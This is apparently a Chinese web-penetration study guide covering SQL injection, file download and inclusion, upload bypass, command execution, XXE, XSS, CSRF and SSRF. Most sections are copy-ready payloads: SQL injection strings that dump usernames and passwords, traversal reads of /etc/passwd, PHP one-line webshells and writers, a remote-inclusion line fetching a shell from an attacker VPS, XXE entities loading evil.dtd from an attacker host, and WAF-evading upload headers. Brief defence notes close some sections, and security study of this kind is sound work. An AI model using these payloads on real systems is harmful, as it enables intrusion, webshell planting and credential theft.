目录
一、SQL注入漏洞
分为以下五种注入方式:
查找SQL注入漏洞
Union注入
布尔盲注
报错注入
时间盲注
时间型盲注的加速方式
二、任意文件下载
漏洞原理:
产生原因:
利用条件:
漏洞发现:
漏洞利用方法:
漏洞防护:
三、敏感文件
四、文件包含
漏洞利用
PHP中的封装协议(伪协议)
file://
php://
zip:// & bzip2:// & zlib://
data://
phar://
远程文件包含(RFL)
漏洞利用
代码审计
漏洞防护
五、文件上传
漏洞原理
绕过
黑名单绕过:
白名单绕过:
黑白名单通用
基于WAF:
文件加载检测(文件内容检测)
漏洞防护
六、命令执行
漏洞原理
两个条件
命令执行漏洞带来的危害
列子
漏洞防护
七、代码执行
PHP敏感函数代码执行
八、XML外部实体注入
XML基础
恶意引入外部实体的三种方式
一、本地引入
二、远程引入
三、远程引入2
九、xss 漏洞
漏洞原理:
xss 分类:(三类)
十、CSRF & SSRF
CSRF:
SSRF:
一、SQL注入漏洞
web应用程序对用户数据交互时候前端传入后端处理没做过滤处理,恶意代码输入后被拼接到SQL语句中执行一部分,使数据库回显内容。
分为字符型和数字型
分为以下五种注入方式:
布尔盲注:根据返回页面判断条件真假 延时注入:用页面返回时间是否增加判断是否存在注入 报错注入:页面会返回错误信息 联合查询注入:可以使用union的情况下 堆叠注入:可以同时执行多条语句 (mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句)
查找SQL注入漏洞
Union注入
1、在参数后加单引号使其报错,并用and 1=1和and 1=2测试报错结果
?id=1' and 1=1 --+ 页面返回正常
?id=1' and 1=2 --+页面返回不正常
2、使用order by 或 group by猜字段
?id=1%27 order by 3--+ 返回正常
?id=1%27 order by 4--+ 返回正常
?id=1%27 order by 5--+ 返回错误
证明字段总数为4
3、联合查询
?id=-1' union select 1,2,3,4 --+
看哪个字段显示信息,利用它进一步注入出数据库信息
修改id为一个不存在的id,强行报错 因为代码默认只返回第一条结果,
不会返回 union select 的结果
4、获取数据库信息
id=-1' union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()) --+
或者
id=-1' union select 1,2,3,database() --+
id=-1' union select 1,2,3,version() --+ user()获取数据库用户名 database() 获取数据库名
version() 获取数据库版本信息
concat_ws(separator,str1,str2,...) 含有分隔符地连接字符串
里边这的separator分隔符,用 char() 函数把 空格:空格 的ASCII码输出
--其它信息
@@datadir --数据库路径
@@version_***pile_os --操作系统版本
5、获取数据表信息
id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
table_schema=数据库名16进制或者用单引号括起来
6、获取字段信息
id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名' --+
7、脱库
union select 1,2,3,group_concat(name,password) from 表名 用字段名从表中取数据 group_concat(str1,str2,...) 连接一个组的所有字符串
布尔盲注
页面不返回查询信息的数据,只能通过页面返回信息的真假条件判断是否存在注入
1、在参数后加单引号使其报错,并用and 1=1和and 1=2测试报错结果
?id=1' and 1=1 --+ 页面返回正常 ?id=1' and 1=2 --+ 页面返回不正常
2、判断数据库名的长度
1'and length(database())>=1--+ 页面返回正常 1'and length(database())>=13--+ 页面返回正常 1'and length(database())>=14--+ 页面返回错误 由此判断得到数据库名的长度是13个字符
3、猜解数据库名(建议写python脚本)
字符判断获取数据库名; 数据库名的范围一般在a~z、0~9之内,可能还会有特殊字符 "_"、"-" 等,这里的字母不区分大小写。 ' and substr(database(),1,1)='a'--+ ' and substr(database(),2,1)='a'--+ substr 的用法和 limit 有区别,limit从 0 开始排序,这里从 1 开始排序。 用Burp爆破字母a的位置,即可得到数据库名每个位置上的字符。 还可以用ASCII码查询a 的ASCII码是97,在MySQL中使用ord函数转换ASCII,所以逐字符判断语句可改为: ' and ord(substr(database(),1,1))=97--+ ASCII码表中可显示字符的范围是:0~127
4、判断数据库表名
' and substr((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),1,1)='a'--+ 修改1,1前边的1~20,逐字符猜解出第一个表的名 修改limit的0,1前边的0~20,逐个猜解每个表
5、判断数据库字段名
' and substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)='a'--+ 修改1,1前边的1~20,逐字符猜解出第一个字段的名 修改limit的0,1前边的0~20,逐个猜解每个字段
报错注入
页面会返回错误信息,利用报错函数获取数据库数据
xpath语法错误 extractvalue() 查询节点内容 updatexml() 修改查询到的内容 它们的第二个参数都要求是符合xpath语法的字符串 如果不满足要求则会报错,并且将查询结果放在报错信息里 这二者里面传参第一个是两个第二个是三个,但都是改变xpath 主键重复(duplicate entry) floor() --返回小于等于该值的最大整数 只要是count,rand(),group by 三个连用就会造成这种主键重复报错
1、尝试用单引号报错
同上
2、获取数据库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ 0x7e是"~"符号的16进制,在这作为分隔符(喜欢哪个用哪个)
3、获取表名
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名' limit 0,1),0x7e),1)--+
4、获取字段名
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),0x7e),1)--+
5、脱库
' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)--+ 其它函数payload语法: --extractvalue ' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+ --floor() ' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
时间盲注
服务器关闭了错误回显,单纯通过服务器返回内容的变化来判断是否存在SQL注入的方式 。
可以用benchmark,sleep等造成延时效果的函数。
如果benkchmark和sleep关键字被过滤了,可以让两个非常大的数据表做笛卡尔积 (opens new window)产生大量的计算从而产生时间延迟;
或者利用复杂的正则表达式去匹配一个超长字符串来产生时间延迟。
1、利用sleep判断数据库名长度
' and sleep(5) and 1=1--+ 页面返回不正常,延时5秒 ' and sleep(5) and 1=2--+ 页面返回不正常,不延时 and if(length(database())>1,sleep(5),1) --if(条件表达式,真,假) --C语言的三目运算符类似
2、获取数据库名
and if(substr(database(),1,1)='a',sleep(5),1)--+
时间型盲注的加速方式
1、Windows平台上的Mysql可以用DNSlog加速注入
2、利用二分查找法
sqlmap盲注默认采用的是二分查找法
二、任意文件下载
漏洞原理:
一般来说在文件下载或查看功能处,当文件名参数可控,且系统未对参数进行过滤或者过滤不严格时,就能够实现下载服务器上的任何文件,产生任意文件下载漏洞,恶意用户就可利用路径回溯符号(../)跳出程序本身的限制目录实现下载任意文件。此漏洞的最终目的还是为了进一步获取更多系统信息。
产生原因:
● 提供下载、查看的功能,并接收相关参数变量;
● 使用读取文件的函数;
● 未对相关参数做校验或者控制不严格;
● 能输出请求文件的内容,提供给客户端;
利用条件:
● 存在读文件的函数;
● 读取文件的路径是用户可控的且未经校验或校验不严格;
● 输出或下载了文件内容;
漏洞发现:
-
存在下载功能的功能点;
-
可以使用Google hacking语法或者Web漏洞扫描器。
Google search inurl:readfile.php?file= inurl:download.php?file=
- 链接存在以下关键字:
download.php?path= download.php?file= download.php?filename= down.php?file= data.php?file= readfile.php?file= read.php?filename=
- 包含以下参数
&RealPath= &FilePath= &filepath= &Filepath= &Path= &path= &inputFile= &InputFile= &url= &urls= &Lang= &dis= &data= &Date= &readfile= &filep= &src= &menu= META-INF WEB-INF
漏洞利用方法:
任意文件下载漏洞,正常的利用手段是下载服务器文件,比如脚本代码、服务器配置文件或者是系统配置文件等。但有时并不知道网站所处环境以及网站路径,就可以使用../../../进行逐层猜测路径,案例如下:
index.php?f=../../../../../../../../../etc/passwd index.php?f=../../../index.php index.php?f=file:///etc/passwd readfile.php?file=/etc/passwd readfile.php?file=../../../../../etc/passwd readfile.php?file=../../../../../../../etc/passwd%00 // 00截断 注: 当参数f的参数值为php⽂件时,若是⽂件被解析则是⽂件包含漏洞, 若显⽰源码或提⽰下载则是⽂件查看与下载漏洞。
漏洞防护:
(1)过滤".",使用户在 url 中不能回溯上级目录
(2)正则严格判断用户输入参数的格式
(3)php.ini 配置 open_basedir 限定文件访问范围
三、敏感文件
/root/.bash_history //用户终端历史命令记录文件 /root/.mysql_history //mysql历史命令记录文件 /proc/mounts //记录系统挂载设备 /porc/config.gz //内核配置文件 /var/lib/mlocate/mlocate.db //全文件路径 /porc/self/cmdline //当前进程的cmdline参数 /usr/local/app/apache2/conf/httpd.conf //apache2默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置 /usr/local/app/php5/lib/php.ini //php相关设置 /etc/httpd/conf/httpd.conf //apache配置文件 /etc/php5/apache2/php.ini //ubuntu系统的默认路径
Tomcat
apache-tomcat-8.5.51/conf/tomcat-users.xml //tomcat的角色(授权用户)配置文件 apache-tomcat-8.5.51/conf/server.xml //tomcat的主配置文件 apache-tomcat-8.5.51/conf/web.xml //tomcat应用程序的部署描述符文件 apache-tomcat-8.5.51/logs/catalina.out //即tomcat的标准输出和标准出错,所有输出到这两个位置的都会进入catalina.out,这里包含tomcat运行自己输出的日志以及应用里向console输出的日志。
Web应用
PHP 获取inc/config.php文件,获得数据库连接字符串中的口令信息; ASP 获取inc/conn.asp文件,获得数据库连接字符串口令,得到数据库口令。若是A***ESS数据库,可以得到数据库路径,再下载数据库内容; ASPX 获取网站根目录web.config文件,获得数据库连接字符串中的口令信息; 获取bin/*.dll文件,获取网站源码(不完整代码),使用.*** reflector工具打开编译后的dll文件; JSP 获取conf/tomcat-user.xml文件,获得tongcat管理界面的口令信息,上传war包GetShell; 获取WEB-INF/Web.xml文件,获得数据库连接字符串中的口令信息。
四、文件包含
漏洞成因:
在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。
漏洞利用
利用条件:
(1)include()、include_noce()、require()、require_once()等函数通过动态变量的方式引入包含文件; (2)用户能够控制该动态变量。
1、读取敏感文件
?arg=/etc/passwd
2、利用封装协议读源码
?arg=php://filter/read=convert.base64-encode/resource=config.php 这样能看到php文件的源码
3、包含图片Getshell
在上传的图片中写入恶意代码,然后用 LFI 包含调用,就会执行图片里的PHP代码(图片马)
4、截断包含
漏洞代码:如:
?php if(isset($_GET['arg'])) { include($_GET['arg'].".php"); }else{ include(index.php); } ?>
这样做一定程度上修复了漏洞, 上传图片一句话并访问:http://vuln.***/index.php?arg=1.jpg
会出错。
因为包含文件里面不存在1.jpg.php
这个文件。
但是如果输入http://vuln.***/index.php?arg=1.jpg%00
,就极有可能会绕过检测。
这种方法只适用于php.ini
中magic_quotes_qpc=off
并且PHP
版本< 5.3.4的情况。
如果为on,%00会被转义,以至于无法截断。
5、包含Apache日志Getshell
条件:知道日志文件a***ess.log的存放位置 ,默认位置:/var/log/httpd/a***ess_log
a***ess.log
文件记录了客户端每次请求的相关信息; 当访问一个不存在的资源时a***ess.log
文件仍然会记录这条资源信息。
如果目标网站存在文件包含漏洞,但是没有可以包含的文件时,
我们就可以尝试访问http://www.vuln.***/<?php phpinfo(); ?>
Apache会将这条信息记录在a***ess.log文件中,这时如果我们访问a***ess.log文件,就会触发文件包含漏洞。
理论上是这样的,但是实际上却是输入的代码被转义无法解析。
攻击者可以通过burpsuite进行抓包在http请求包里面将转义的代码改为正常的测试代码就可以绕过。
这时再查看Apache日志文件,显示的就是正常的测试代码。
这时访问:http://www.vuln.***/index.php?arg=/var/log/httpd/a***ess_log
,即可成功执行代码
PHP中的封装协议(伪协议)
以下协议未写明条件的即是allow_url_fopen和allow_url_include状态off/on都行。
file://
作用:
用于访问本地文件系统,在CTF中通常用来读取本地文件,且不受allow_url_fopen与allow_url_include的影响。
include()/require()/include_once()/require_once()
参数可控的情况下
如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的
示例:
1. file://[文件的绝对路径和文件名] http://127.0.0.1/include.php?file=file://C:\phpStudy\PHPTutorial\WWW\phpinfo.txt 2. file://[文件的相对路径和文件名] http://127.0.0.1/include.php?file=./phpinfo.txt 3. file://[网络路径和文件名] http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
php://
条件:
allow_url_fopen:off/on allow_url_include : 部分需要on (下面列出) php://input php://stdin php://memory php://temp
作用:
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是 php://filter
和 php://input
php://filter用于读取源码,php://input用于执行php代码
示例:
1. php://filter/read=convert.base64-encode/resource=[文件名] //读取文件源码 http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php 2.php://input + [POST DATA]执行php代码 http://127.0.0.1/include.php?file=php://input [POST DATA部分] <?php phpinfo(); ?> 3.若有写入权限,[POST DATA部分] 写入一句话木马 <?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
zip:// & bzip2:// & zlib://
作用:
zip:// & bzip2:// & zlib://
均属于压缩流,可以访问压缩文件中的子文件
更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx
等等
示例:
1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23) <!--压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传--> http://127.0.0.1/include.php? file=zip://C:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt 2.***press.bzip2://file.bz2 <!--压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)--> http://127.0.0.1/include.php? file=***press.bzip2://C:\phpStudy\PHPTutorial\WWW\phpinfo.bz2 3.***press.zlib://file.gz <!--压缩 phpinfo.txt 为 phpinfo.gz--> http://127.0.0.1/include.php? file=***press.zlib://C:\phpStudy\PHPTutorial\WWW\phpinfo.gz
data://
条件:
allow_url_fopen:on
allow_url_include :on
作用:
自PHP>=5.2.0
起,可以使用 data://
数据流封装器,以传递相应格式的数据。
通常可以用来执行PHP代码
示例:
1.data://text/plain, http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?> 2.data://text/plain;base64, http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
phar://
phar://协议与zip://类似,同样可以访问zip格式压缩包内容
http://127.0.0.1/include.php?file=phar://C:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
利用条件 PHP > 5.3
要想使用Phar类里的方法,必须将phar.readonly
配置项配置为0或Off
利用 phar 协议可以拓展 php 反序列化漏洞攻击面
远程文件包含(RFL)
服务器通过 PHP 的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严格,
从而可以去包含一个恶意文件,攻击者就可以远程构造一个特定的恶意文件达到攻击目的。
漏洞利用
条件:php.ini
中开启allow_url_include
、allow_url_fopen
选项。
1、远程包含Webshell
?arg=http://攻击者的VPS/shell.txt #会在网站目录生成名为 shell.php 的一句话木马
shell.txt内容为:
<?php fputs(fopen('./shell.php','w'),'<?php @eval($_POST[123]) ?>'); ?>
代码审计
文件包含用到的函数
include() //使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。 inclue_once() //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。 require() //使用此函数,只要程序执行,立即调用此函数包含文件发生错误时,会输出错误信息并立即终止程序。 require_once() //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。
代码审计的时候全局搜索以上函数
如果是基于图像上传的 ,要搜$_FILES
变量, 因为PHP处理上传文件的功能,基本都与$_FILES有关。
查看目录结构,重点关注includes、modules等文件夹,查看index.php等文件是否动态调用过这些内容,变量是否可控。
漏洞防护
- 禁止远程文件包含
allow_url_include=off
- 配置
open_basedir=指定目录
,限制访问区域。- 过滤
../
等特殊符号- 修改Apache日志文件的存放地址
- 开启魔术引号
magic_quotes_qpc=on
- 尽量不要使用动态变量调用文件,直接写要包含的文件。
五、文件上传
漏洞原理
用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。没有对后缀做一个严格过滤。
绕过
一句话前后加图片数据混淆;直接把木马改成.gif
后缀上传,BurpSuite拦包修改后缀名。
黑名单绕过:
找漏网之鱼:
cer、php3、php4
等大小写绕过:
AsP、pHP
文件后缀复写绕过:
.phphpp
针对Windows系统:
上传不符合windows文件命名规则的文件名
test.php:1.jpg //会被windows系统自动去掉不符合规则符号后面的内容 test.php::$DATA //会被windows系统自动去掉不符合规则符号后面的内容
白名单绕过:
1)00截断: 抓包修改文件名后缀为“php .jpg”,再将空格的十六进制改为00(系统在对文件名进行读取时,如果遇到0x00,就会认为读取已经结束,系统按二进制或十六进制读取文件,遇到ASCII码为0的位置就停止,而这个ASCII为0的位置在十六进制中是00); 2).hta***ess解析漏洞: (只适用于Apache中allow override all、loadmodule rewrite_module/mod_rewrite.so #rewrite模块为开启状态):先上传.hta***ess文件(AddType application/x-httpd-php .jpg),再上传一个图片马文件(jpg),上传的jpg文件都会以php文件格式解析。 3)Content-Type: 先上传正常的图片文件,查看Content-Type类型。上传脚本文件(AddType aaplication/x-httpd-php .jpg #将所有后缀为.jpg的文件作为php文件解析),将Content-Type类型改为查看到的类型(image/jpeg、imagepng、imagegif等) 4)Apache解析漏洞: Apache从右向左解析,若不能够解析最右的后缀,会递归向前解析,直到解析道能够解析为止,否则会报错。 5).user.ini: 适用于服务器使用CGI/FastCGI模式且目录下要有可执行的php文件,文件内容“auto_prepend_file=a.jpg # a.jpg中符合php语言的代码会被执行”。 6)文件头检测: 上传图片马,再修改后缀为可解析脚本语言;或上传一句话木马,再将文件中添加正常格式文件头(GIF89a等)。
黑白名单通用
如果可上传修改
.hta***ess
文件 (还能用于隐藏后门)<FilesMatch "shell.jpg"> SetHandler application/x-httpd-php </FilesMatch> //上传shell.jpg文件,将解析为php运行
基于WAF:
常用的黑名单绕过放大也适用于部分的waf,更多的是需要配合使用。主要思路为接收文件名和waf的检测有所差异,只要是服务器能接收并解析。
1)换行绕过 Content-Disposition:form-data;name="file";filename="1.php" Content-Disposition:form-data;name="file";file name="1.php" Content-Disposition:form-data;name="file";filename= "1.php" 2)多个等号绕过 Content-Disposition:form-data;name="file";filename=="1.php" 3)增加文件大小,类似于垃圾字符 Content-Disposition:form-data; qqqqqqqq…qqqqqqqqqqq;name="file";filename="1.php" 4)去掉或替换引号绕过 Content-Disposition:form-data;name=file;filename=1.php Content-Disposition:form-data;name='file';filename="1.php" 5)增加filename干扰拦截 Content-Disposition:form-data;name="file";filename= ;filename="1.php" 6)混淆waf匹配字段 a.混淆form-data Content-Disposition:name="file";filename="1.php" //去除form-data Content-Disposition:qqqqq="qweqwe";name="file"; filename="1.php" // 替换form-data为垃圾值 Content-Disposition: form-data ; name="file"; filename="1.php" // form-data后加空格 Content-Disposition: for+m-data; name="file"; filename="1.php" // form-data中加+号 b.混淆ConTent-Disposition COntEnT-DIsposiTiOn: form-data; name="file"; filename="1.php" // 大小写混淆 Content-Type: image/gif Content-Disposition: form-data; name="file"; filename="1.php" //调换Content-Type和ConTent-Disposition的顺序 Content-Type: image/gif Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: image/gif //增加额外的头 AAAAAAAA:filename="aaa.jpg"; Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: image/gif //增加额外的头 Content-Length: 666 Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: image/gif //增加额外的头 Content-Disposition: form-data; name="file_x";;; filename="test.php" //多个分号,导致可能解析不到文件名 7)双文件绕过: 例如安全狗总是以最后一个Content-Disposition中的值作为接收参数进行检测,一些中间件例如IIS6.0总是以第一个Content-Disposition中的值作为接收参数。 8)容器与waf对Bounday要求规则不一致 Content-Type: multipart/form-data; boundary=—————————471114117352599 Content-Length: 253 —————————–471114117352599 Content-Disposition: form-data; name="file1"; filename="shell.asp" Content-Type: application/octet-stream <%eval request("a")%> —————————–471114117352599– 一些waf会认为两段Boundary不一致的数据是无意义的,不进行检测,而容器并没有严格要求,正常接收数据。 9) 条件竞争 一些情况再上传文件时,先上传到临时目录,然后再检测,检测到再删除。例如可以上传生成一句话木马的文件(fputs(fopen('shell.php','w'),'') ; 上传同时疯狂重复发包访问此文件,就有可能会在文件被删除之前生成webshell文件shell.php。
文件加载检测(文件内容检测)
常见的是对图像进行二次渲染,一般是调用PHP 的GD库
一个绕过GD库的Webshell生成器:
http://wiki.ioin.in/soft/detail/1q
https://github.***/RickGray/Bypass-PHP-GD-Process-To-RCE
漏洞防护
1、使用白名单限制可以上传的文件扩展名 2、注意0x00截断攻击(PHP更新到最新版本) 3、对上传后的文件统一随机命名,不允许用户控制扩展名 4、上传文件的存储目录禁用执行权限
六、命令执行
漏洞原理
命令执行漏洞是指攻击者可以随意执行系统命令,分为远程代码执行和系统命令执行两类。
由于开发人员编写源码时,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句,并提交服务端执行 命令注入攻击中, Web服务器没有过滤类似system、eval和exec等函数,是该漏洞攻击成功的主要原因。
程序应用有时需要调用一些执行系统命令的函数,如PHP:
system() //执行外部程序,并且显示输出 exec() //执行一个外部程序 shell_exec() //通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回 passthru() //执行外部程序并且显示原始输出 p***tl_exec() //在当前进程空间执行指定程序 popen() //打开进程文件指针 proc_open() //执行一个命令,并且打开用来输入/输出的文件指针 反引号 令拼接到正常命令中,从而造成命令执行攻击。详细看:PHP中常见的命令执行函数与代码执行函数_echo是命令执行函数吗_红烧兔纸的博客-CSDN博客参考:https://blog.csdn.***/weixin_43376075/article/details/105189017https://blog.csdn.***/qq_43168364/article/details/105595532https://www.***blogs.***/-qing-/p/10819069.html代码执行函数:1- eval()#传入的参数必须为PHP代码,既需要以分号结尾。#命令執行:cmd=system(whoami);#菜._echo是命令执行函数吗https://blog.csdn.***/weixin_39934520/article/details/109231480
两个条件
- 用户能够控制的函数输入
- 存在可以执行代码或者系统命令的危险函数
命令执行漏洞带来的危害
继承Web服务程序的权限去执行系统命令(任意代码)或读写文件 反弹shell 控制整个网站甚至控制服务器 进一步内网渗透 等
列子
<?php $test = $_GET['cmd']; system($test); ?>payload:
?cmd=whoami
这样即可执行系统命令
漏洞防护
1、尽量不要使用以上的代码/命令执行函数
2、使用disable_funtion()禁用以上函数
3、过滤所有能当作命令分隔符使用的字符
七、代码执行
(84条消息) PHP中常见的命令执行函数与代码执行函数_echo是命令执行函数吗_红烧兔纸的博客-CSDN博客https://blog.csdn.***/weixin_39934520/article/details/109231480
代码执行:可执行脚本语言代码
PHP敏感函数代码执行
eval() //把字符串作为PHP代码执行 assert() //检查一个断言是否为 FALSE,可用来执行代码 preg_replace() //执行一个正则表达式的搜索和替换 call_user_func()//把第一个参数作为回调函数调用 call_user_func_array()//调用回调函数,并把一个数组参数作为回调函数的参数 array_map() //为数组的每个元素应用回调函数
八、XML外部实体注入
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害
注意:执行系统命令(安装expect扩展的PHP环境里才有)
XML基础
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型.
是一种允许用户对自己的标记语言进行定义的源语言。
XML文档结构包括XML声明、DTD文档类型定义、文档元素。
<?xml version="1.0" ?> <!--XML声明--> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,bodys)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT bodys (#PCDATA)> ]><!--文档类型定义--> <note> <to>北京</to><from>石家庄</from> <heading>wintrysec</heading><bodys>wintrysec.github.io</bodys> </note><!--文档元素-->
DTD(文档类型定义)的作用是定义xml文档的合法构建模块。
DTD 可以在 XML 文档内声明,也可以外部引用。
PCDATA 指的是被解析的字符数据(Parsed Character Data)
XML解析器通常会解析XML文档中所有的文本
<message>此文本会被解析</message>
当某个XML元素被解析时,其标签之间的文本也会被解析:
<name><first>Bill</first><last>Gates</last></name>
<!--内部声明DTD--> <!DOCTYPE 根元素 [元素声明]> <!--引用外部DTD--> <!DOCTYPE 根元素 SYSTEM “文件名”> <!--或者--> <!DOCTYPE 根元素 PUBLIC “public_ID” “文件名”> <!--DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。--> <!--内部声明实体--> <!ENTITY 实体名称 “实体的值"> <!--引用外部实体--> <!ENTITY 实体名称 SYSTEM “URI"> <!--或者--> <!ENTITY 实体名称 PUBLIC “public_ID" “URI">
恶意引入外部实体的三种方式
一、本地引入
XML内容:
<?xml version="1.0" ?> <!--XML声明--> <!DOCTYPE x[ <!ENTITY wintrysec SYSTEM "file:///etc/passwd"> ]><!--文档类型定义--> <test>&wintrysec;</test><!--文档元素-->
一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (😉
二、远程引入
XML内容:
<?xml version="1.0" ?> <!--XML声明--> <!DOCTYPE x[ <!ENTITY %d SYSTEM "http://evil.***/evil.dtd"> %d; ]><!--文档类型定义--> <test>&wintrysec;</test><!--文档元素-->
DTD文件(evil.dtd)内容:
<!ENTITY wintrysec SYSTEM “file:///etc/passwd">
三、远程引入2
<?xml version="1.0" ?> <!DOCTYPE x SYSTEM "http://evil.***/evil.dtd"> <test>&wintrysec;</test>
九、xss 漏洞
漏洞原理:
在有搜索框或者其他可输入的表单内进行输入一些乱码如若回显了这一串乱码则判定可能有xss然后将恶意js包含进去在进行尝试判断是何种类型。(js代码可控)
防御:输入过滤、输出转义,最常见的是将<>、“、‘、&、/实体化转移,或者白名单黑名单,过滤标签,过滤事件。
xss 分类:(三类)
-
反射型XSS:<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
-
存储型XSS:<持久化> 代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。
-
DOM型XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。
参考链接:https://www.jianshu.***/p/4fcb4b411a66
十、CSRF & SSRF
CSRF:
csrf是跨站请求伪造,是借用用户的权限完成攻击,服务器端没有对用户提交的数据过滤,导致攻击者可以利用用户的Cookie信息伪造用户请求发送至服务器。攻击方拿到用户的权限来进行盗取登录信息账号或者购买,csrf攻击需满足三个条件,1、用户登录了站点被记录了cookie,2、用户在还没有离开站点之前就是cookie还生效的情况下攻击者给用户提供了恶意站点,3、用户所登录站点没有防御而且访问了攻击者提供的站点。
防御:对账密信息加token,或者验证码,修改密码时候要旧密码等等不可以直接允许修改。
SSRF:
由于服务端提供了从其他服务器应用获取数据的功能(例如分享等功能)且没有对目标地址做 过滤与限制,给予了攻击者乘虚而入的机会。比如从指定URL地址获取网页文本内容,加载指 定地址的图片,下载等等。SSRF是利用存在缺陷的web应用作为代理攻击远程和本地的服务 器。服务器对用户给的可控URL,没有检测,导致攻击者可以以这为突破口攻击内网或其他服 务器。可以用来探测端口,可配合gopher读写文件。
总的来说,CSRF是服务器端没有对用户提交的数据进行严格的把控,导致攻击者可以利用用户的Cookie信息伪造用户请求发送至服务器。而SSRF是服务器对用户提供的可控URL地址过于信任,没有经过严格检测,导致攻击者可以以此为跳板攻击内网或其他服务器。